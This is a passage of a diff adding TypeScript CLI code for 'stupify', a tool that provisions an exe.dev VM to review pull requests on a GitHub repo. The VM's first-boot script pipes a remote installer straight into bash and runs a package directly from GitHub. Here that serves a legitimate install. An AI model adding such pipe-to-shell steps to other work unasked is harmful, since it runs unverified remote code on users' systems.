s.stop(pc.green('exe.dev ready') + pc.dim(` — ${(who.out.match(/[\w.+-]+@[\w.-]+/) ?? [''])[0]}`))
|
|
458
|
+
|
|
459
|
+
// 2. repo (auto-detect, else ask)
|
|
460
|
+
let repo = argv.repo ?? ''
|
|
461
|
+
if (!repo) {
|
|
462
|
+
const detected = detectRepo()
|
|
463
|
+
if (detected) {
|
|
464
|
+
if (argv.yes) repo = detected
|
|
465
|
+
else {
|
|
466
|
+
const keep = await confirm({ message: `Review ${pc.bold(detected)}? ${pc.dim('(detected from git remote)')}` })
|
|
467
|
+
bail(keep)
|
|
468
|
+
if (keep) repo = detected
|
|
469
|
+
}
|
|
470
|
+
}
|
|
471
|
+
}
|
|
472
|
+
if (!repo) {
|
|
473
|
+
const answer = await text({
|
|
474
|
+
message: 'GitHub repo to review',
|
|
475
|
+
placeholder: 'owner/repo',
|
|
476
|
+
validate: (v) => (validRepo((v ?? '').trim()) ? undefined : 'expected owner/repo'),
|
|
477
|
+
})
|
|
478
|
+
bail(answer)
|
|
479
|
+
repo = answer.trim()
|
|
480
|
+
}
|
|
481
|
+
if (!validRepo(repo)) die(`'${repo}' is not a valid owner/repo`)
|
|
482
|
+
|
|
483
|
+
// 2.5 taste — pick a pack (or your own code); the VM installs it on first boot
|
|
484
|
+
const packs = await pickPacks({ yes: argv.yes, packArg: argv.pack })
|
|
485
|
+
|
|
486
|
+
// 3. GitHub integration — reuse an existing one, else create it (needs your GitHub linked once, on the web)
|
|
487
|
+
const s2 = spinner()
|
|
488
|
+
s2.start('finding your GitHub integration')
|
|
489
|
+
let integration = githubIntegrationFor(repo)
|
|
490
|
+
if (integration) {
|
|
491
|
+
s2.stop(pc.green(`using integration ${pc.bold(integration)}`))
|
|
492
|
+
} else {
|
|
493
|
+
const name = vmNameFor(repo)
|
|
494
|
+
const add = exe(['integrations', 'add', 'github', '--name', name, '--repository', repo])
|
|
495
|
+
if (add.ok) {
|
|
496
|
+
integration = name
|
|
497
|
+
s2.stop(pc.green(`created integration ${pc.bold(name)}`))
|
|
498
|
+
} else {
|
|
499
|
+
s2.stop(pc.red(`no GitHub integration for ${repo}`))
|
|
500
|
+
note(`link your GitHub account once (web), then re-run stupify:\n\n ${pc.cyan('https://exe.dev/integrations')}\n\n${pc.dim(add.out.trim().slice(0, 200))}`, 'connect GitHub')
|
|
501
|
+
process.exit(1)
|
|
502
|
+
}
|
|
503
|
+
}
|
|
504
|
+
const host = `${integration}.int.exe.xyz`
|
|
505
|
+
const tasteLine = packs.length
|
|
506
|
+
? tasteLabel(packs)
|
|
507
|
+
: 'your own codebase'
|
|
508
|
+
|
|
509
|
+
// 4. plan + confirm
|
|
510
|
+
note(
|
|
511
|
+
[
|
|
512
|
+
`${pc.dim('repo ')} ${pc.bold(repo)}`,
|
|
513
|
+
`${pc.dim('taste')} ${pc.bold(tasteLine)}`,
|
|
514
|
+
`${pc.dim('vm ')} a small always-on exe.dev VM on your account`,
|
|
515
|
+
`${pc.dim('auth ')} integration ${pc.bold(integration)} ${pc.dim('— no keys, no tokens')}`,
|
|
516
|
+
].join('\n'),
|
|
517
|
+
'plan',
|
|
518
|
+
)
|
|
519
|
+
if (!argv.yes) {
|
|
520
|
+
const go = await confirm({ message: 'Provision it?' })
|
|
521
|
+
bail(go)
|
|
522
|
+
if (!go) {
|
|
523
|
+
cancel('aborted.')
|
|
524
|
+
process.exit(0)
|
|
525
|
+
}
|
|
526
|
+
}
|
|
527
|
+
|
|
528
|
+
// 5. create the VM with a first-boot setup-script that installs stupify
|
|
529
|
+
const s3 = spinner()
|
|
530
|
+
s3.start('provisioning VM + installing stupify')
|
|
531
|
+
const vm = vmNameFor(repo)
|
|
532
|
+
const script = [
|
|
533
|
+
'export PATH="$HOME/.bun/bin:/usr/local/bin:$PATH"',
|
|
534
|
+
'command -v bun >/dev/null 2>&1 || curl -fsSL https://bun.sh/install | bash',
|
|
535
|
+
'export PATH="$HOME/.bun/bin:$PATH"',
|
|
536
|
+
`exec bunx github:Octember/stupify setup ${repo} --host ${host} --pack ${packs.join(',') || 'own'} --yes`,
|
|
537
|
+
].join('\n')
|
|
538
|
+
const created = exe(['new', '--name', vm, '--integration', integration, '--json', '--setup-script', '/dev/stdin'], script)
|
|
539
|
+
if (!created.ok) {
|
|
540
|
+
s3.stop(pc.red('provision failed'))
|
|
541
|
+
log.error(created.out.trim().slice(0, 400))
|
|
542
|
+
process.exit(1)
|
|
543
|
+
}
|
|
544
|
+
let dest = `${vm}.exe.xyz`
|
|
545
|
+
try {
|
|
546
|
+
dest = (JSON.parse(created.out) as { ssh_dest?: string }).ssh_dest ?? dest
|
|
547
|
+
} catch {
|
|
548
|
+
/* keep the derived dest */
|
|
549
|
+
}
|
|
550
|
+
s3.stop(pc.green(`VM ${pc.bold(vm)} created`) + pc.dim(` (${dest})`))
|
|
551
|
+
|
|
552
|
+
// 6. success
|
|
553
|
+
const firstReview = packs.length
|
|
554
|
+
? [
|
|
555
|
+
`reviewing ${pc.bold(repo)} against ${pc.bold(tasteLine)}.`,
|
|
556
|
+
`open a PR (or push to one) → stupify reviews it in ~60s. ${pc.dim('no labels, no setup.')}`,
|
|
557
|
+
``,
|
|
558
|
+
`want your OWN taste? add a ${pc.cyan('.review/')} to ${pc.bold(repo)} — it overrides the pack.`,
|
|
559
|
+
]
|
|
560
|
+
: [
|
|
561
|
+
`${pc.bold('1.')} add a ${pc.cyan('.review/')} dir to ${pc.bold(repo)} — copy this repo's .review/, point CORPUS.md at YOUR best files`,
|
|
562
|
+
`${pc.bold('2.')} open a PR → stupify reviews it in ~60s ${pc.dim('(no labels needed)')}`,
|
|
563
|
+
]
|
|
564
|
+
note(
|
|
565
|
+
[
|
|
566
|
+
`${pc.bold(vm)} is booting and installing stupify ${pc.dim('(~15s)')}.`,
|
|
567
|
+
``,
|
|
568
|
+
...firstReview,
|
|
569
|
+
``,
|
|
570
|
+
`${pc.dim('watch:')} ${pc.cyan(`ssh ${dest} 'tail -f ~/.stupify/state/sweep.log'`)}`,
|
|
571
|
+
`${pc.dim('stop: ')} ${pc.cyan(`ssh exe.dev rm ${vm}`)}`,
|
|
572
|
+
].join('\n'),
|
|
573
|
+
'done',
|
|
574
|
+
)
|
|
575
|
+
outro(pc.green('stupify is provisioned for ') + pc.bold(repo) + pc.green(' 👀'))
|
|
576
|
+
}
|
|
577
|
+
|
|
578
|
+
function help(): void {
|
|
579
|
+
console.log(`${pc.bold('stupify')} — a code reviewer that talks like an idiot and catches real bugs
|
|
580
|
+
|
|
581
|
+
${pc.dim('Usage')} ${pc.dim('(run from your laptop)')}
|
|
582
|
+
stupify provision an exe.dev VM that reviews your repo ${pc.dim('(the magic)')}
|
|
583
|
+
stupify <owner/repo> provision for a specific repo
|
|
584
|
+
stupify setup [repo] install on THIS machine instead of provisioning a VM
|
|
585
|
+
stupify run [--dry] run one review sweep now (where stupify is installed)
|
|
586
|
+
stupify taste [--pack a,b] pick the code yours should look like (assembles ~/.stupify/.review)
|
|
587
|
+
stupify prime --install prime Claude Code with your taste every session (adds a SessionStart hook)
|
|
588
|
+
stupify prime --uninstall remove that hook
|
|
589
|
+
stupify --help
|
|
590
|
+
|
|
591
|
+
${pc.dim('Flags')}
|
|
592
|
+
--host <h.int.exe.xyz> integration host (for 'setup')
|
|
593
|
+
--pack <a,b,...> taste packs to review against (e.g. anton-kropp,zod); 'own' = bring your own .review/
|
|
594
|
+
--yes, -y accept detected defaults, no prompts (for CI / scripts)
|
|
595
|
+
|
|
596
|
+
${pc.dim("Provisioning rides exe.dev — onboard once with 'ssh exe.dev', then one command does the rest.")} https://stupif.ai`)
|
|
597
|
+
}
|
|
598
|
+
|
|
599
|
+
// --- routing ---
|
|
600
|
+
const args = process.argv.slice(2)
|
|
601
|
+
const yes = args.includes('--yes') || args.includes('-y')
|
|
602
|
+
const valueFlag = (name: string) => {
|
|
603
|
+
const i = args.indexOf(name)
|
|
604
|
+
return i >= 0 ? args[i + 1] : undefined
|
|
605
|
+
}
|
|
606
|
+
const host = valueFlag('--host')
|
|
607
|
+
const pack = valueFlag('--pack')
|
|
608
|
+
const positional = args.filter((a, i) => !a.startsWith('-') && args[i - 1] !== '--host' && args[i - 1] !== '--pack')
|
|
609
|
+
const cmd = positional[0]
|
|
610
|
+
|
|
611
|
+
if (args.includes('-h') || args.includes('--help')) {
|
|
612
|
+
help()
|
|
613
|
+
} else if (cmd === 'taste') {
|
|
614
|
+
await taste({ pack })
|
|
615
|
+
} else if (cmd === 'prime') {
|
|
616
|
+
if (args.includes('--install')) await installPrimeHook({ pack })
|
|
617
|
+
else if (args.includes('--uninstall')) uninstallPrimeHook()
|
|
618
|
+
else emitPrime() // bare `prime`: machine-called by the SessionStart hook — prints only the JSON payload
|
|
619
|
+
} else if (cmd === 'run') {
|
|
620
|
+
run(args.includes('--dry'))
|
|
621
|
+
} else if (cmd === 'setup') {
|
|
622
|
+
await setup({ repo: positional[1], host, yes, pack })
|
|
623
|
+
} else {
|
|
624
|
+
// default (and explicit `provision`): provision an exe.dev VM
|
|
625
|
+
await provision({ repo: cmd === 'provision' ? positional[1] : cmd, yes, pack })
|
|
626
|
+
}
|